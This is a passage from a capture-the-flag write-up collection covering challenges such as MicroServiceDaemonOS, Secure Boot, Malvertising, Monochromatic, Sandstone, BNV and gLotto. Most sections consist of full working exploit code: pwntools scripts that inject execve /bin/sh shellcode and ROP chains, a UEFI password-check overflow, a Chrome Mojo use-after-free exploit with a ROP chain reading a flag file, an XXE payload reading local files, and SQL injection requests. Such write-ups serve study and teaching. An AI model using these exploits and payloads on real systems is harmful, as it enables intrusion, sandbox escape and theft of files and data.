#r = process ("java -Xmx200m -cp jna.jar:. FancyJIT".split (" "))
r = remote ("jit.ctfcompetition.com", 1337)
def rand_page ():
res = 0
for _ in xrange (3):
res = ((res << 16) ^ cdll_libc.rand()) & 0xffffffffffffffff
res = res & 0x7ffffffff000
return res
for i in xrange(10):
print i
cdll_libc.srand (cdll_libc.time(0)+i)
text_addr = rand_page ()
data_addr = rand_page ()
print "text: " + hex(text_addr)
print "data: " + hex(data_addr)
cdll_libc.srand (cdll_libc.time(0)+9)
text_addr = rand_page ()
data_addr = rand_page ()
xchg_gadget = u'\u0f20009101\u06f7'.encode('utf-8')
bb = u'\u0de600000002959\u0668'.encode('utf-8') # 0x6e69ffee ; need - 40383
ss = u'\ua9000000005842\u096f'.encode('utf-8') # 0x68ff21i; need - 35826
movrdi = u'\u0a66006820\u0d6f'.encode('utf-8')
movrsp = u'\uff100000006096\u0662'.encode('utf-8')
jump = u'\u1b5016'.encode('utf-8')
# rop payload
# "/bin/sh\x00" + mov rdi, r12 ret; pop rsi ret; pop rdx ret; syscall
asms = """
MOV(B, 50014)
MOV(B, 50010)
MOV(B, 1295)
JMP(6)
MOV(B, {movrdi})
RET()
ADD(A, 1)
STR(A, 4)
MOV(B, {text_hi})
STR(B, 5)
ADD(A, 5)
STR(A, 8)
STR(B, 9)
ADD(A, 5)
STR(A, 12)
STR(B, 13)
ADD(A, 11)
STR(A, 2)
STR(B, 3)
MOV(A, {bb})
SUB(A, 40383)
STR(A, 0)
MOV(A, {ss})
SUB(A, 35826)
STR(A, 1)
MOV(A, 59)
JMP({jump})
MOV(B, {movrsp})
RET()
""".format(text_hi=u32(p64(text_addr)[4:]), movrsp=movrsp, movrdi=movrdi, bb=bb, ss=ss, jump=jump).strip()
r.recvuntil ("the result:")
r.sendline (asms)
r.sendline ("")
print "text: " + hex(text_addr)
print "data: " + hex(data_addr)
r.interactive ()
```
---
## MicroServiceDaemonOS
There is integer overflow vulnerability in rc4 encryption function's variable `data_offset`.
We can set this value as negative, so we can overwrite heap data to rc4 encrypted data.
In heap memory, there is some function code.
So we overwrited these code to shellcode.
First, we need to know random offset of current rc4 result memory page using murmur hashing.
Next, we overwrited function code to shellcode one by one, just brute forced.
It is exploit code.
```python
from pwn import *
import sys, os
from random import randint
log.info("For remote: %s HOST PORT" % sys.argv[0])
bin_name = "msdos"
try:
r = remote(sys.argv[1], int(sys.argv[2]))
except:
r = process(bin_name) #, env = {})
def do_debug (cmd = ""):
try:
if sys.argv[1] == 'debug':
gdb.attach (r, cmd)
except:
pass
elf = ELF (bin_name);
context.word_size = elf.elfclass
#libc = ELF('libc.so.6') if os.path.exists('libc.so.6') else elf.libc
context.terminal = ["tmux", "splitw", "-h"]
#context.log_level = 'debug'
def rr ():
r.recvuntil (": ")
def menu (idx):
rr ()
r.sendline (str(idx))
def s1 (idx, data, size, offset):
assert (len(data) == size)
"""
menu ('c')
menu (idx)
menu ('s')
menu(size)
menu(offset)
r.send (data)
"""
r.sendline ('c')
r.sendline (str(idx))
r.sendline ('s')
r.sendline (str(size))
r.sendline (str(offset))
r.send (data)
r.recvuntil ("data offset: ")
def g1 (idx):
menu ('c')
menu (idx)
menu ('g')
def s0 (idx):
menu ('c')
menu (idx)
menu ('s')
def g0 (idx, offset, count):
menu ('c')
menu (idx)
menu ('g')
menu(offset)
menu(count)
return r.recvn (count*4)
#sc = asm(shellcraft.amd64.sh(),os='linux',arch='amd64')
sc = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
rvs = [0, 1]
menu('l')
menu(0)
menu('l')
menu(0)
for _ in xrange (7):
menu('l')
menu(1)
org_hash = g0 (1, 0, 1)
#for i in xrange (0x1000):
s1 (2, "\x90"*4, 4, -0x8000000)
data = g0 (1, 0, 0x7fd8)
print len (data)
for i in range (0, len(data), 4):
if org_hash != data[i:i+4]:
print i
break
print hex(i/4)
i = i/4
offset = - (i * (1<<12) + 0x4000)
#for i in range (len(sc)):
i = 0
while i < range (len(sc)):
s1 (2, sc[i], 1, offset + i)
chk = r.recvn (1)
if (chk != sc[i]): continue
else :
print "sc", i
i += 1
if i == len(sc):
break
menu ('c')
menu (2)
menu ('g')
r.sendline ("/bin/cat flag")
r.sendline ("/bin/cat /flag")
r.sendline ("/bin/cat /home/*/flag")
r.interactive ()
```
> CTF{TZ-1n_us3rspac3-15-m3ss-d0nt-y0u-th1nk_s0?}
## Secure Boot
There are uefi boot loader and kernel image.
When I connected to remote server, there is no chance to enter our input.
So I thought there is some boot shell command or some bios mode command.
After searching, I noticed when I press `esc` during boot, it goes bios mode but we needs some password.
I dumped memory using gdb when my vm in bios mode and analyzed dump.
There is custom password check routine in `UiApp.dll` and noticed there is 11byte overflow.
It leads we can overwrite sha256 hash destination buffer address.
So I overwrote this buffer to &returnaddr-0x19 for overwriting return address last 1 byte.
I bypassed sha256 check and manually disabled secure boot option.
Finally we can boot kernel normally.
It is exploit code.
```python
from pwn import *
r = remote("secureboot.ctfcompetition.com", 1337)
sleep(2)
r.sendline("\x1b") # esc
sleep(2)
r.sendafter("Password?", "\x03\x49" + "A" * 0x86 + "\x99\x18\xec\x07\r")
sleep(2)
r.sendline("^[[B")
r.sendline("^[[A")
r.sendline("^[[A")
r.sendline("^[[A")
r.sendline("^[[A")
r.sendline("\r")
r.sendline("\r")
r.sendline("^[[B")
r.sendline("^[[A")
r.sendline(" ")
r.sendline("\x1b")
r.sendline("\x1b")
r.sendline("\x1b")
r.sendline("^[[B")
r.sendline("^[[A")
r.sendline("\r")
r.interactive()
```
> CTF{pl4y1ng_with_v1rt_3F1_just_4fun}
---
## dialtone
The goal of this problem is finding a valid input which cam make this binary output success. A form of input should be a sound and the binary read this sound input with PulseAudio library.
### Constraints
1. The binary read sound input 9 times each of which will be read on if previous input was correct
2. It extracts a amplitude of each sound channel (697Hz, 770Hz, 852Hz, etc..) which are corresponded to the frequency components of dialtone.
3. It compare extracted amplitude with other channel and select index of the most high amplitude channel among 697,770,852,941 and 1209, 1336, 1477, 1633.
4. So now, we can get 9 pairs of index which will be compared with hardcoded value(9,5,10,6,9,8,1,13,0) in the binary.
5. Each pair of index can be matched with one dial number so we can inference 9 digit number
### flag
A flag was 9 digit number curly braced with CTF.
## Malvertising
There is obfuscated javascript source code at https://malvertising.web.ctfcompetition.com/ads/src/metrics.js.
I beautified source and I found string decode function `b`.
So when I executed `var t = document[b('0x17', 'jAUm')](b('0x18', '3hyK')); steg[b('0x1a', 'OfTH')](t);`, it gaves `"var dJs = document.createElement('script'); dJs.setAttribute('src','./src/uHsdvEHFDwljZFhPyKxp.js'); document.head.appendChild(dJs);"`.
I found next stage source code.
And I noticed our user-agent must contain "android".
Also I beautified next source and understood all routine.
`navigator.platform` maybe 'ANDROID' or 'LINUX' and I got all country language code for brute force.
It is my python script.
```python
from itertools import product
import struct
key_list = [["andro", "linux"], [1], [0, 1], [0, 1], [0, 1], [0, 1], ["af", "sq", "ar", "eu", "bg", "be", "ca", "zh", "hr", "cs", "da", "nl", "en", "et", "fo", "fa", "fi", "fr", "gd", "de", "el", "he", "hi", "hu", "is", "id", "it", "ja", "ko", "lv", "lt", "mk", "mt", "no", "pl", "pt", "rm", "ro", "ru", "sz", "sr", "sk", "sl", "sb", "es", "sx", "sv", "th", "ts", "tn", "tr", "uk", "ur", "ve", "vi", "xh", "ji", "zu"], [0, 1], [0, 1], [0, 1], [0, 1]]
for l in product(*key_list):
enc = "A2xcVTrDuF+EqdD8VibVZIWY2k334hwWPsIzgPgmHSapj+zeDlPqH/RHlpVCitdlxQQfzOjO01xCW/6TNqkciPRbOZsizdYNf5eEOgghG0YhmIplCBLhGdxmnvsIT/69I08I/ZvIxkWyufhLayTDzFeGZlPQfjqtY8Wr59Lkw/JggztpJYPWng==".decode('base64')
enc = list(struct.unpack("<" + "L" * 34, enc))
key = ''.join(str(i).upper() for i in l)
key = list(struct.unpack("<LLLL", key[:16]))
k = 0x9e3779b9 * 7
while k:
d = 3 & (k >> 2)
for i in range(len(enc) - 1, -1, -1):
enc[i] -= ((enc[i - 1] >> 5) ^ (enc[(i + 1) % len(enc)] << 2)) + (enc[(i + 1) % len(enc)] >> 3 ^ enc[i - 1] << 4) ^ (k ^ enc[(i + 1) % len(enc)]) + (key[3 & i ^ (3 & k >> 2)] ^ enc[i - 1])
enc[i] &= 0xffffffff
k -= 0x9e3779b9
r = struct.pack("<" + "L" * 34, *enc)
if "var" in r:
print r
break
```
We got next stage url `var dJs = document.createElement('script'); dJs.setAttribute('src','./src/npoTHyBXnpZWgLorNrYc.js'); document.head.appendChild(dJs);`.
I also analyzed this source and noticed _0x5877 is string decode function.
So same as before, I decoded all string and I got `./src/WFmJWvYBQmZnedwpdQBU.js` when execute `_0x5877('0x18', '\x4c\x5d\x34\x37')`;
Finally, flag is in https://malvertising.web.ctfcompetition.com/ads/src/WFmJWvYBQmZnedwpdQBU.js.
> CTF{I-LOVE-MALVERTISING-wkJsuw}
---
## devmaster 8000
cloud build system.
### Vulnerability
There is a setuid misconfiguration on `drop_privs` file.
### Exploit
`/client nc devmaster.ctfcompetition.com 1337 -- source.c -- my_binary -- ../../drop_privs admin admin cat ../../flag`
## Monochromatic
This is Mojo IPC Challenge. the challenge is chrome that add custom Mojo Interface. Also provided Chrome allow renderer process to use mojo js.
### Vulnerability
there is Use after free on custom Interface.
```diff
+void DogInterfaceImpl::CookAndEat(blink::mojom::FoodInterfacePtr foodPtr,
+ CookAndEatCallback callback) {
+ blink::mojom::FoodInterface *raw_food = foodPtr.get();
+
+ raw_food->GetWeight(base::BindOnce(&DogInterfaceImpl::AddWeight,
+ base::Unretained(this),
+ std::move(callback), std::move(foodPtr)));
+}
```
FoodInterface is exposed user Interface. So we change GetWeight Function to evil function that free Dog/Person/Cat InterfaceImpl Object.
```javascript
function FoodImpl(){
this.binding = new mojo.Binding(blink.mojom.FoodInterface, this);
}
FoodImpl.prototype = {
getWeight: async () =>{
await dog_result.dog.ptr.reset();
return {'weight':0x40};
}
};
```
If you set the appropriate heap Feng Shui, evil object that can do arb r/w is created.
### Exploit
```html
<html>
<pre id='log'></pre>
<script src="mojo_bindings.js"></script>
<script src="third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script src="being_creator_interface.mojom.js"></script>
<script src="food_interface.mojom.js"></script>
<script src="dog_interface.mojom.js"></script>
<script src="person_interface.mojom.js"></script>
<script src="cat_interface.mojom.js"></script>
<script>
function print(string) {
var log = document.getElementById('log');
if (log) {
log.innerText += string + '\n';
}
}
async function write(){
const sleep = m => new Promise(r => setTimeout(r, m));
let fengshui_result = [];
async function fengshui(){
for(var i = 0; i<0x100 ; i++){
fengshui_result[i] = await creator_ptr.createDog();
await fengshui_result[i].dog.setName("A".repeat(0x3f));
}
print("[+] fengshui ");
}
async function food0(){
for(var i = 0; i < 0x1000; i++){
cat_result[i] = await creator_ptr.createCat();
await cat_result[i].cat.setName(String.fromCharCode(i)+"K".repeat(0x37))
}
print("[+] Allocate Dogs");
}
function c_encode(s) {
var res = [];
var k = s;
for (var i = 0; i < k.byteLength; ++i) {
var c = k[i] & 0xff;
res.push('\\x' + ('0'+c.toString(16)).slice(-2));
}
return res.join('');
}
let heap = [];
let index = -1;
async function food1(){
print("[+] Get Cat Name")
for(var i = 0; i < 0x1000 && heap.length == 0; i++){
var leak = (await cat_result[i].cat.getName());
leak = leak.arr
for (var j = 0; j + 8 <= leak.byteLength; j += 8) {
if (leak[j+7] != 0x4b
&& leak[j+6] != 0x4b
&& leak[j+5] != 0x4b
&& leak[j+5] != 0x4b)
{
value = 0;
for (var k = j+5; k >= j; --k)
value = value*0x100 + leak[k];
heap.push(value);
}
}
index = i;
}
}
let cat_result = [];
let creator_ptr = new blink.mojom.BeingCreatorInterfacePtr();
Mojo.bindInterface(blink.mojom.BeingCreatorInterface.name,
mojo.makeRequest(creator_ptr).handle);
function FoodImpl(){
this.binding = new mojo.Binding(blink.mojom.FoodInterface, this);
}
FoodImpl.prototype = {
getWeight: async () =>{
print("[+] GetWeight");
//await fengshui();
await dog_result.dog.ptr.reset();
print("[!] Free CatInterfaceImpl");
await sleep(400);
await food0();
//food1();
return {'weight':0x40};
}
};
let food_interface = new FoodImpl();
let food_ptr = new blink.mojom.FoodInterfacePtr();
food_interface.binding.bind(mojo.makeRequest(food_ptr));
let dog_result = await creator_ptr.createDog();
dog_result.dog.cookAndEat(food_ptr);
await sleep(3000);
await food1();
await sleep(1000);
if( heap[2] == 0x38){
function u2d(v) {
let lo = v&0xffffffff;
let hi = v/0x100000000;
u32[0] = lo;
u32[1] = hi;
return f64[0];
}
let vtable = heap[0];
let string_ptr = heap[1];
let chromebase = vtable - 0x08FC1AE0;
print("[+] Sucecss!");
print(`[+] Index : ${index}`);
print(`[+] vtable : ${vtable.toString(16)}`);
print(`[+] strint_ptr : ${string_ptr.toString(16)}`);
print(`[+] chromebase : ${chromebase.toString(16)}`);
let u32 = new Uint32Array(0x2);
let f64 = new Float64Array(u32.buffer);
let spread64 = new Float64Array(0x4);
let spread8 = new Uint8Array(spread64.buffer);
function arb(ptr){
spread64[0] = u2d(vtable);
spread64[1] = u2d(ptr);
spread64[2] = u2d(0x40);
spread64[3] = u2d(0x8000000000000050);
let fake_object = String.fromCharCode(...spread8);
return fake_object
}
function call(ptr){
spread64[0] = u2d(ptr);
spread64[1] = u2d(0x4141414141414141);
spread64[2] = u2d(0x40);
spread64[3] = u2d(0x8000000000000050);
let fake_object = String.fromCharCode(...spread8);
return fake_object
}
await cat_result[index].cat.setName(arb(chromebase)); //0x55555e515ae0
let target = 0;
for(var i = 0; i < 0x20; i++){
if( i == index ) continue;
let find = (await cat_result[i].cat.getName()).name;
if( find.indexOf("ELF") != -1){
target = i;
break;
}
}
print(`[+] target : ${target}`);
await cat_result[index].cat.setName(arb(chromebase+0x095285F0));
let r = (await cat_result[target].cat.getName()).arr;
let printf = 0;
for(var i = 7; i >= 0; i--){
printf = printf*0x100 + r[i];
}
print(`[+] printf : ${printf.toString(16)}`);
let libc = printf-0x0055800;
let bss = chromebase+ 0x95bc000
await cat_result[index].cat.setName(arb(bss+0x1000));
r = (await cat_result[target].cat.setName("/home/user/flag"));
// 0x00000000037c7323 : mov rdi, qword ptr [r14] ; call qword ptr [rdi + 8]
// 0x0000000003530614 : mov rsi, r14 ; call qword ptr [rdi + 8]
// 0x0000000002ac61dc : lea rsp, [rsi + 0x30] ; popfq ; ret
// 0x00000000040f288e : xchg rax, rsp ; ret
// 0x0000000002cfca65 : add rsp, 0x18 ; ret
let open = chromebase + 0x08F7BED0;
let write = chromebase + 0x08F77DB0;
let read = chromebase + 0x08F77CA0;
let pop_rdi_ret = chromebase + 0x000000000280105c // pop rdi ; ret
let pop_rsi_ret = chromebase + 0x000000000280ea85 // pop rsi ; ret
let pop_rdx_ret = chromebase + 0x00000000028568db // pop rdx ; ret
let mov_edi_eax_ret = chromebase + 0x00000000084f77d5 // mov edi, eax ; ret
let fake_table64 = new Float64Array([
u2d(chromebase+0x0000000002cfca65),
u2d(0x41414141),
u2d(chromebase+0x00000000040f288e),
u2d(0xdeadbeef),
u2d(pop_rdi_ret), // <--- ROP Chain
u2d(bss + 0x1000),
u2d(pop_rsi_ret),
u2d(0x0),
u2d(open),
u2d(mov_edi_eax_ret),
u2d(pop_rsi_ret),
u2d(bss + 0x300),
u2d(pop_rdx_ret),
u2d(0x30),
u2d(read),
u2d(pop_rdi_ret),
u2d(0x1),
u2d(pop_rsi_ret),
u2d(bss + 0x300),
u2d(pop_rdx_ret),
u2d(0x100),
u2d(write)
]);
let fake_table8 = new Uint8Array(fake_table64.buffer)
let fake_table = String.fromCharCode(...fake_table8);
await cat_result[index].cat.setName(arb(bss));
r = (await cat_result[target].cat.setName(fake_table));
await cat_result[index].cat.setName(call(bss));
(await cat_result[target].cat.getName()).arr;
print("[+] BOOOOM");
}
else{
print("[+] Fail");
}
}
async function main(){
//await fengshui();
//await write();
await write();
}
main()
</script>
</html>
```
## Sandstone
*Sandstone* is a problem about writing a [Rust](https://www.rust-lang.org/) code that invokes `syscall(0x1337)` in a sandboxed environment. Usually, the main goal of this kind of problems is finding a vulnerability in the sandbox logic, but this problem is not about that. Rust is a memory-safe language by default. It allows an additional unsafe operations, such as calling foreign functions or dereferencing a raw pointer, only in an `unsafe {}` block, which is prohibited in this problem.
We first observed that the problem turns on an optional feature called `nll` in nightly Rust, which stands for Non Lexical Lifetime (it is a Rust specific term, and it doesn't matter if you don't know what it means). We thought there must be a unsoundness hole in this feature, which will allow us to write `syscall(0x1337)` in safe Rust. Therefore, we searched for issues with [NLL-sound](https://github.com/rust-lang/rust/labels/NLL-sound) tag in the Rust repository. The description for the tag is `Working towards the "invalid code does not compile" goal` which seems like a perfect match for our situation. However, we didn't find anything that looks easily applicable to this problem.
Then, we changed our target to [I-unsound 💥](https://github.com/rust-lang/rust/labels/I-unsound 💥) tag and found the issue [Coherence can be bypassed by an indirect impl for a trait object #57893](https://github.com/rust-lang/rust/issues/57893). There was [a comment](https://github.com/rust-lang/rust/issues/57893#issuecomment-500250283) which includes a [std::mem::transmute](https://doc.rust-lang.org/std/mem/fn.transmute.html) implementation in Safe Rust, which allows unrestricted conversion between any Rust types.
The `transmute()` implementation allowed us to search through the stack memory for a libc pointer. After that, we calculated the address of the syscall funcion from the leaked pointer. Finally, we overwrote a safe function pointer with syscall address and called it with an argument 0x1337.
This is our main exploit code:
```rust
const PTR_SIZE: usize = std::mem::size_of::<usize>();
fn read_val(addr: usize) -> usize {
*transmute::<*mut usize, &mut usize>(addr as *mut usize)
}
fn find_index(base_ptr: usize) -> usize {
let pattern = [0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 1, 1];
let mut start_index = 0;
loop {
let start_ptr = base_ptr + PTR_SIZE * start_index;
if (0..pattern.len()).into_iter().all(|index| {
let val = read_val(start_ptr + PTR_SIZE * index);
if pattern[index] == 0 {
val == 0
} else {
val > 0
}
}) {
let target_index = start_index + 11;
let target_ptr = base_ptr + PTR_SIZE * target_index;
println!("{:03} 0x{:016x} - {:016x}", target_index, target_ptr, read_val(target_ptr));
return target_index;
}
start_index += 1;
}
}
fn fake_syscall(arg: usize) {
}
fn update(ptr: &mut fn(usize), val: usize) {
let ptr_ref = transmute::<_, &mut usize>(ptr);
*ptr_ref = val;
}
fn poc() {
let stack = 0xabcdef0123456789usize;
let mut ptr = (&stack as *const usize) as usize;
println!("Current stack pointer: 0x{:016x}", ptr);
let count = 200;
ptr -= PTR_SIZE * count;
let base_ptr = ptr;
for i in 0..count {
println!("{:03} 0x{:016x} - {:016x}", i, ptr, read_val(ptr));
ptr += PTR_SIZE;
}
let lib_target_index = find_index(base_ptr);
let lib_base = read_val(base_ptr + PTR_SIZE * lib_target_index) - 0x151e0;
println!("lib{} base addr: 0x{:016x}", 'c', lib_base);
let syscall_addr = lib_base + 0x1172d0;
println!("lib{} syscall addr: 0x{:016x}", 'c', syscall_addr);
let mut syscall_ptr: fn(usize) = fake_syscall;
update(&mut syscall_ptr, syscall_addr);
syscall_ptr(0x1337);
println!("Please give me the flag");
loop {
}
}
```
According to the flag, the intended solution was to use [Pattern guard can consume value that is being matched #31287](https://github.com/rust-lang/rust/issues/31287).
---
## BNV
This is a web service which can inquire the information of the world's Braille office.
### Vulnerability
There is a SIMPLE XXE bug.
### Exploit
```xml
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ELEMENT root (#PCDATA)>
<!ENTITY % ext SYSTEM "/flag">
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamsa '
<!ENTITY % file SYSTEM "file://flag">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///juno/asdf/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<root></root><Paste>
```
## gLotto
This challenge demands `LUCK`.
### Vulnerability
There are total four tables shown in the page, and each of them uses SQL.
SQL Injection is possible on those SQL queries and we can change the ordering of each table.
### Exploit
Each table entries has `winner` field, which consists of hex-string.
Concatenate `winner` and substring of `@lotto`, and digest it into md5 function. Use the digested value for ordering.
Solver by @RBTree_Pg_
Dictionary generation code:
```python
import hashlib
import string
import itertools
import pickle
charset = string.ascii_uppercase + string.digits
march = ['1WSNL48OLSAJ', 'UN683EI26G56', 'CA5G8VIB6UC9', '00HE2T21U15H', '01VJNN9RHJAC', 'I6I8UV5Q64L0', 'YYKCXJKAK3KV', 'D5VBHEDB9YGF']
dic = dict()
for v in itertools.product(charset, repeat=4):
arr = []
suffix = ''.join(v)
for idx, winner in enumerate(march):
s = (winner + suffix).encode('ascii')
digest = hashlib.md5(s).hexdigest()
arr.append( (digest, idx) )
arr = sorted(arr)
perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(march)) ])
if perm_str not in dic:
dic[perm_str] = suffix
with open('march.pickle', 'wb') as f:
pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)
april = ['4KYEC00RC5BZ', '7AET1KPGKUG4', 'UDT5LEWRSWM9', 'OQQRH90KDJH1', '2JTBMJW9HZOO', 'L4CY1JMRBEAW', '8DKYRPIO4QUW', 'BFWQCWYK9VHJ', '31OSKU57KV49']
dic = dict()
for v in itertools.product(charset, repeat=4):
arr = []
suffix = ''.join(v)
for idx, winner in enumerate(april):
s = (winner + suffix).encode('ascii')
digest = hashlib.md5(s).hexdigest()
arr.append( (digest, idx) )
arr = sorted(arr)
perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(april)) ])
if perm_str not in dic:
dic[perm_str] = suffix
with open('april.pickle', 'wb') as f:
pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)
may = ['O3QZ2P6JNSSA', 'PQ8ZW6TI1JH7', 'OWGVFW0XPLHE', 'OMZRJWA7WWBC', 'KRRNDWFFIB08', 'ZJR7ANXVBLEF', '8GAB09Z4Q88A']
dic = dict()
for v in itertools.product(charset, repeat=3):
arr = []
suffix = ''.join(v)
for idx, winner in enumerate(may):
s = (winner + suffix).encode('ascii')
digest = hashlib.md5(s).hexdigest()
arr.append( (digest, idx) )
arr = sorted(arr)
perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(may)) ])
if perm_str not in dic:
dic[perm_str] = suffix
with open('may.pickle', 'wb') as f:
pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)
june = ['1JJL716ATSCZ', 'YELDF36F4TW7', 'WXRJP8D4KKJQ', 'G0O9L3XPS3IR']
dic = dict()
for v in itertools.product(charset, repeat=1):
arr = []
suffix = ''.join(v)
for idx, winner in enumerate(june):
s = (winner + suffix).encode('ascii')
digest = hashlib.md5(s).hexdigest()
arr.append( (digest, idx) )
arr = sorted(arr)
perm_str = ''.join([ format(arr[i][1], 'x') for i in range(len(june)) ])
if perm_str not in dic:
dic[perm_str] = suffix
with open('june.pickle', 'wb') as f:
pickle.dump(dic, f, pickle.HIGHEST_PROTOCOL)
```
Exploit code using pre-computed dictionaries:
```python
import hashlib
import string
import pickle
import requests
import re
import os
import random
def randomString(stringLength=10):
"""Generate a random string of fixed length """
letters = string.ascii_lowercase
return ''.join(random.choice(letters) for i in range(stringLength))
base_url = 'https://glotto.web.ctfcompetition.com/'
with open('march.pickle', 'rb') as f:
march_dic = pickle.load(f)
with open('april.pickle', 'rb') as f:
april_dic = pickle.load(f)
with open('may.pickle', 'rb') as f:
may_dic = pickle.load(f)
with open('june.pickle', 'rb') as f:
june_dic = pickle.load(f)
march = ['1WSNL48OLSAJ', 'UN683EI26G56', 'CA5G8VIB6UC9', '00HE2T21U15H', '01VJNN9RHJAC', 'I6I8UV5Q64L0', 'YYKCXJKAK3KV', 'D5VBHEDB9YGF']
april = ['4KYEC00RC5BZ', '7AET1KPGKUG4', 'UDT5LEWRSWM9', 'OQQRH90KDJH1', '2JTBMJW9HZOO', 'L4CY1JMRBEAW', '8DKYRPIO4QUW', 'BFWQCWYK9VHJ', '31OSKU57KV49']
may = ['O3QZ2P6JNSSA', 'PQ8ZW6TI1JH7', 'OWGVFW0XPLHE', 'OMZRJWA7WWBC', 'KRRNDWFFIB08', 'ZJR7ANXVBLEF', '8GAB09Z4Q88A']
june = ['1JJL716ATSCZ', 'YELDF36F4TW7', 'WXRJP8D4KKJQ', 'G0O9L3XPS3IR']
march_rev, april_rev, may_rev, june_rev = dict(), dict(), dict(), dict()
for idx, val in enumerate(march):
march_rev[val] = idx
for idx, val in enumerate(april):
april_rev[val] = idx
for idx, val in enumerate(may):
may_rev[val] = idx
for idx, val in enumerate(june):
june_rev[val] = idx
get_url = base_url
get_url += '?order0=date`%20and%201,MD5(concat(winner,%20substr(@lotto,1,4)))%23'
get_url += '&order1=date`%20and%201,MD5(concat(winner,%20substr(@lotto,5,4)))%23'
get_url += '&order2=date`%20and%201,MD5(concat(winner,%20substr(@lotto,9,3)))%23'
get_url += '&order3=date`%20and%201,MD5(concat(winner,%20substr(@lotto,12,1)))%23'
while True:
session = 'junoxxx' + randomString(14)
header = {
'Cookie': 'PHPSESSID=' + session
}
r = requests.get(get_url, headers=header)
lis = re.findall(r'[A-Z0-9]{12}', r.text)
ans = ""
s = ""
for val in lis[:8]:
s += format(march_rev[val], 'x')
ans += march_dic[s]
s = ""
for val in lis[8:17]:
s += format(april_rev[val], 'x')
ans += april_dic[s]
s = ""
for val in lis[17:24]:
s += format(may_rev[val], 'x')
ans += may_dic[s]
s = ""
for val in lis[24:]:
s += format(june_rev[val], 'x')
ans += june_dic[s]
os.system("python submit.py {} {} &".format(session, ans))
```
```python
import requests
import sys
session = sys.argv[1]
code = sys.argv[2]
header = {
'Cookie': 'PHPSESSID=' + session
}
content = requests.post('https://glotto.web.ctfcompetition.com/', headers=header, data={'code':code}).text
with open('result.txt', 'ab') as f:
f.write('expect: {}, actual: {}\n'.format(code, content))
f.close()
```
The flag is `CTF{3c2ca0d10a5d4bf44bc716d669e074b2}`